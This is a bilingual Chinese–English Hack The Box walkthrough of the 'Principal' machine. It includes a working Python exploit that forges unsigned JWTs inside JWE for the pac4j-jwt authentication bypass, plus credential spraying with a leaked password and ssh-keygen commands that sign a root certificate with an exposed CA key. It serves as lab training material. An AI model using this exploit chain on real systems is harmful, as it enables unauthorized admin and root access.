本文记录了一次完整的渗透测试打靶(CTF/HTB)过程。攻击者首先通过 Nmap 扫描发现目标开放了 22 和 8080 端口。在 8080 端口的 Web 服务中,发现其使用了存在 CVE-2026-29000 认证绕过漏洞 的 pac4j-jwt 组件。通过利用该 JWT 验证逻辑缺陷(解密后未校验签名),攻击者伪造了 Admin 权限的 Token 登入后台,并获取到 svc-deploy 用户的 SSH 凭据。登录服务器后,发现系统信任本地的一个 SSH CA 证书私钥。攻击者利用该私钥签发了具有 root 权限的 SSH 临时证书,最终成功获取最高权限。 This document records a complete penetration testing (CTF/HTB) process. The attacker first used Nmap to scan and discovered that the target had ports 22 and 8080 open. In the web service on port 8080, it was found that the pac4j-jwt component was used, which contained an authentication bypass vulnerability (CVE-2026-29000). By exploiting this JWT validation logic flaw (signature not validated after decryption), the attacker forged an Admin-privileged Token to log into the backend and obtained the SSH credentials for the svc-deploy user. After logging into the server, it was discovered that the system trusted a local SSH CA certificate private key. The attacker used this private key to sign a temporary SSH certificate with root privileges, ultimately successfully obtaining highest-level access.
枚举
-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 15 Mar 2026 07:48:35 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: application/json
发现22,8080端口。
Web
8080端口中pac4j-jwt/6.0.3 搜索可以得到
▶CVE-2026-29000
CVE-2026-29000 是 2026 年披露的一个 严重身份认证绕过漏洞(Authentication Bypass),影响 Java 生态常用的安全框架 pac4j 的 JWT 模块 pac4j-jwt。该漏洞允许攻击者伪造身份令牌,从而直接登录系统甚至获得管理员权限。
下面从多个角度做一个概览:
一、漏洞基本信息
影响版本:
修复版本:
二、漏洞核心问题
漏洞发生在 JwtAuthenticator 处理加密 JWT(JWE)时的逻辑错误。
正常 JWT 认证流程:
但是漏洞版本存在一个问题:
解密后没有强制验证签名。
当内部 JWT 是 PlainJWT(无签名) 时:
toSignedJWT() 返回 null因此攻击者可以构造伪造 Token。
三、攻击思路(高层)
攻击者只需要:
1️⃣ 获取服务器 RSA 公钥
(很多系统会公开 JWKS endpoint)
例如:
/.well-known/jwks.json
/pubkey2️⃣ 构造一个 PlainJWT
例如:
{
"sub": "admin",
"role": "admin"
}3️⃣ 用服务器公钥加密生成 JWE
4️⃣ 将该 Token 作为
Authorization: Bearer <token>发送请求
服务器解密后:
结果:
攻击者成功伪造任意用户身份。
四、漏洞影响范围
这个漏洞影响较大,因为 pac4j 在 Java 生态使用广泛:
常见使用项目包括:
如果使用 JWT + pac4j-jwt 的服务可能受影响。
五、攻击效果
攻击者可以做到:
因为无需凭据:
攻击复杂度非常低。
六、漏洞本质
本质是一个典型安全误区:
“加密 ≠ 身份认证”
如果只做解密,不做签名验证:
系统就无法确认 token 来源。
七、修复方式
官方建议:
1 升级版本
升级 pac4j-jwt:
4.5.9
5.7.9
6.3.3修复内容:
2 临时缓解措施
如果无法升级:
可以做一些防护:
alg: none八、简单总结
一句话总结这个漏洞:
只用服务器公开的 RSA 公钥,就可以伪造任意用户登录。
属于:
USER
现在我们需要服务器的 RSA 公钥
查看源代码发现http://principal.htb:8080/static/js/app.js,其中暴露了几个端点
- const API_BASE = '';
- const JWKS_ENDPOINT = '/api/auth/jwks'; 获取公钥
- const AUTH_ENDPOINT = '/api/auth/login';
- const DASHBOARD_ENDPOINT = '/api/dashboard';
- const USERS_ENDPOINT = '/api/users';
- const SETTINGS_ENDPOINT = '/api/settings';
curl http://principal.htb:8080/api/auth/jwks
# 返回{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}
并且发现
// Role constants - must match server-side role definitions
const ROLES = {
ADMIN: 'ROLE_ADMIN',
MANAGER: 'ROLE_MANAGER',
USER: 'ROLE_USER'
};
使用官方脚本
#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""
import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe
TARGET = sys.argv[1]
# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data) # **key_data: 解包字典数据为关键字参数
print(f"[+] Successfully fetched RSA public key from JWKS")
# Step 2: Craft a PlainJWT with admin claims
def b64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): 移除字节串末尾的等号
now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): 将字典转换为JSON字符串 encode(): 将字符串转换为字节串
payload = b64url_encode(json.dumps({
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600,
}).encode())
plain_jwt = f"{header}.{payload}." # 末尾.(没有也要预留): 添加签名
print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN")
# Step 3:Wrap in JWE encrypted with server's RSA public key
jwe_token = jwe.JWE(
plain_jwt.encode(),
recipient=pub_key,
protected=json.dumps({
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": key_data["kid"],
"cty": "JWT",
})
)
forged_token = jwe_token.serialize(compact=True) # compact=True: 将JWE对象序列化为紧凑格式
print(f"[+] Forged JWE token created")
# Step 4: Access protected endpoints
headers = {"Authorization": f"Bearer {forged_token}"}
print(f"[+] Accessing /api/dashboard...")
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")
data = resp.json()
print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
print(f"[+] Token: {forged_token}")
运行后得到token,我们查看app.js可以发现
// Token management
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
static setToken(token) {
sessionStorage.setItem('auth_token', token);
}
static clearToken() {
sessionStorage.removeItem('auth_token');
}
static isAuthenticated() {
return !!this.getToken();
}
static getAuthHeaders() {
const token = this.getToken();
return token ? { 'Authorization': `Bearer ${token}` } : {};
}
}
token在前端运用JavaScript脚本管理,通过在login的控制台加入我们的token
sessionStorage.setItem('auth_token', 'token');
刷新即可进入后台
在设置界面可以发现:encryptionKey:D3pl0y_$$H_Now42! 以及一些用户名
➜ Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH 10.129.229.236 22 10.129.229.236 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH 10.129.229.236 22 10.129.229.236 [-] admin:D3pl0y_$$H_Now42!
SSH 10.129.229.236 22 10.129.229.236 [+] svc-deploy:D3pl0y_$$H_Now42! Linux - Shell access!
ROOT
svc-deploy@principal:~$ id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
svc-deploy@principal:~$ ls /opt/principal/
# app deploy ssh
发现三个文件,并且在ssh中发现密钥
svc-deploy@principal:~$ ls /opt/principal/ssh/
# README.txt ca ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# 返回:
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
这里提到了deploy.sh ,以及我们可以读取ca私钥
find / -name "deploy.sh" 2>/dev/null 没有找到文件,查看下sshd的配置文件
svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
当OpenSSH的TrustedUserCAKeys配置中没有包含AuthorizedPrincipalsFile时:任何由受信任的CA签署的证书都会被接受。
所以我们可以使用伪造的证书以root身份登录SSH
ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# ssh-keygen (SSH Key Generation Tool):SSH 密钥生成与管理工具。
# -s /opt/principal/ssh/ca (Sign with CA Key):最关键的参数。指定使用位于 /opt/principal/ssh/ca 的 CA 私钥 对证书进行签名。
# -I "pwn-root" (Identity):证书的标识符(Key ID)。这个字符串会被记录在服务器的日志中,通常用于审计(这里你起的标识符是 "pwn-root")。
# -n root (Principals):权限分配。指定该证书允许登录的用户名 (Username)。由于你填了 root,这意味着该证书仅对登录 root 账户有效。
# -V +1h (Validity):有效期 (Validity Period)。指定证书从现在起 1 小时内有效。这是一个聪明的做法,既能完成攻击,又不容易留下长期的后门。
# /tmp/pwn.pub (Public Key to sign):指定你要签名的原始公钥文件。
最后:ssh -i /tmp/pwn root@localhost
攻击链
nmap -> 8080 pac4j-jwt/6.0.3 -> CVE,认证漏洞 -> 管理员面板ssh泄露 -> sshd的错误配置 -> AuthorizedPrincipalsFile没有设置(意味着所有用户可以登录到所有用户) -> 伪造root证书,登录Enumeration
-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 15 Mar 2026 07:48:35 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: application/json
Ports 22 and 8080 were discovered.
Web
Searching for pac4j-jwt/6.0.3 on port 8080 yields
▶CVE-2026-29000
CVE-2026-29000 is a critical authentication bypass vulnerability disclosed in 2026, affecting pac4j-jwt, the JWT module of the widely-used security framework pac4j in the Java ecosystem. This vulnerability allows an attacker to forge identity tokens, thereby directly logging into the system and even obtaining administrator privileges.
Below is an overview from multiple perspectives:
1. Basic Vulnerability Information
Affected versions:
Fixed versions:
2. Core Issue of the Vulnerability
The vulnerability occurs in the logical error when JwtAuthenticator processes encrypted JWT (JWE).
Normal JWT authentication flow:
However, the vulnerable versions have a problem:
Signature verification is not enforced after decryption.
When the inner JWT is a PlainJWT (unsigned):
toSignedJWT() returns nullThus, an attacker can construct a forged token.
3. Attack Approach (High Level)
The attacker only needs to:
1️⃣ Obtain the server's RSA public key
(Many systems publicly expose a JWKS endpoint)
For example:
/.well-known/jwks.json
/pubkey2️⃣ Construct a PlainJWT
For example:
{
"sub": "admin",
"role": "admin"
}3️⃣ Encrypt with the server's public key to generate a JWE
4️⃣ Send the token as
Authorization: Bearer <token>in the request
After the server decrypts:
Result:
The attacker successfully forges an arbitrary user identity.
4. Scope of Impact
This vulnerability has a broad impact because pac4j is widely used in the Java ecosystem:
Commonly used projects include:
Services using JWT with pac4j-jwt may be affected.
5. Attack Effects
An attacker can:
Since no credentials are required:
The attack complexity is very low.
6. Essence of the Vulnerability
The essence is a typical security misconception:
"Encryption ≠ Authentication"
If only decryption is performed without signature verification:
The system cannot confirm the token's source.
7. Fix
Official recommendation:
1. Upgrade Version
Upgrade pac4j-jwt to:
4.5.9
5.7.9
6.3.3Fix content:
2. Temporary Mitigation
If upgrade is not possible:
Some protective measures can be implemented:
alg: none8. Simple Summary
One-sentence summary of this vulnerability:
Using only the server's publicly available RSA public key, one can forge an arbitrary user login.
It belongs to:
USER
Now we need the server's RSA public key.
Reviewing the source code reveals http://principal.htb:8080/static/js/app.js, which exposes several endpoints.
- const API_BASE = '';
- const JWKS_ENDPOINT = '/api/auth/jwks'; // Fetches the public key
- const AUTH_ENDPOINT = '/api/auth/login';
- const DASHBOARD_ENDPOINT = '/api/dashboard';
- const USERS_ENDPOINT = '/api/users';
- const SETTINGS_ENDPOINT = '/api/settings';
curl http://principal.htb:8080/api/auth/jwks
# Returns {"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}
And we also discover
// Role constants - must match server-side role definitions
const ROLES = {
ADMIN: 'ROLE_ADMIN',
MANAGER: 'ROLE_MANAGER',
USER: 'ROLE_USER'
};
Using the official script
#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""
import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe
TARGET = sys.argv[1]
# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data) # **key_data: Unpacks dictionary data as keyword arguments
print(f"[+] Successfully fetched RSA public key from JWKS")
# Step 2: Craft a PlainJWT with admin claims
def b64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): Removes trailing equals signs from the byte string
now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): Converts dictionary to JSON string; encode(): Converts string to bytes
payload = b64url_encode(json.dumps({
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600,
}).encode())
plain_jwt = f"{header}.{payload}." # Trailing dot (even if empty): Adds signature placeholder
print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN")
# Step 3: Wrap in JWE encrypted with server's RSA public key
jwe_token = jwe.JWE(
plain_jwt.encode(),
recipient=pub_key,
protected=json.dumps({
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": key_data["kid"],
"cty": "JWT",
})
)
forged_token = jwe_token.serialize(compact=True) # compact=True: Serializes JWE object to compact format
print(f"[+] Forged JWE token created")
# Step 4: Access protected endpoints
headers = {"Authorization": f"Bearer {forged_token}"}
print(f"[+] Accessing /api/dashboard...")
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")
data = resp.json()
print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
print(f"[+] Token: {forged_token}")
After running, we get the token. Reviewing app.js reveals
// Token management
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
static setToken(token) {
sessionStorage.setItem('auth_token', token);
}
static clearToken() {
sessionStorage.removeItem('auth_token');
}
static isAuthenticated() {
return !!this.getToken();
}
static getAuthHeaders() {
const token = this.getToken();
return token ? { 'Authorization': `Bearer ${token}` } : {};
}
}
The token is managed via JavaScript in the frontend. By adding our token to the login console
sessionStorage.setItem('auth_token', 'token');
refreshing grants access to the admin panel.
In the settings interface, we discover: encryptionKey: D3pl0y_$$H_Now42! and some usernames.
➜ Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH 10.129.229.236 22 10.129.229.236 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH 10.129.229.236 22 10.129.229.236 [-] admin:D3pl0y_$$H_Now42!
SSH 10.129.229.236 22 10.129.229.236 [+] svc-deploy:D3pl0y_$$H_Now42! Linux - Shell access!
ROOT
svc-deploy@principal:~$ id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
svc-deploy@principal:~$ ls /opt/principal/
# app deploy ssh
Three files are discovered, and within ssh, a key is found.
svc-deploy@principal:~$ ls /opt/principal/ssh/
# README.txt ca ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# Returns:
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
This mentions deploy.sh and indicates we can read the CA private key.
find / -name "deploy.sh" 2>/dev/null does not find the file. Check the sshd configuration.
svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
When OpenSSH's TrustedUserCAKeys configuration does not include AuthorizedPrincipalsFile: any certificate signed by the trusted CA is accepted.
Therefore, we can use a forged certificate to log in via SSH as root.
ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# ssh-keygen (SSH Key Generation Tool): SSH key generation and management utility.
# -s /opt/principal/ssh/ca (Sign with CA Key): The most critical parameter. Specifies the CA private key located at /opt/principal/ssh/ca to sign the certificate.
# -I "pwn-root" (Identity): The certificate's identifier (Key ID). This string is recorded in server logs, typically for auditing (here, the identifier is "pwn-root").
# -n root (Principals): Permission assignment. Specifies the username this certificate is allowed to log in as. Since root is specified, this certificate is only valid for logging into the root account.
# -V +1h (Validity): Validity period. Specifies the certificate is valid for 1 hour from now. This is a clever approach to complete the attack without leaving a long-term backdoor.
# /tmp/pwn.pub (Public Key to sign): Specifies the raw public key file you want to sign.
Finally: ssh -i /tmp/pwn root@localhost
Attack Chain
nmap -> 8080 pac4j-jwt/6.0.3 -> CVE, auth bypass -> admin panel SSH leak -> sshd misconfiguration -> AuthorizedPrincipalsFile not set (means any user can login as any user) -> forge root certificate, login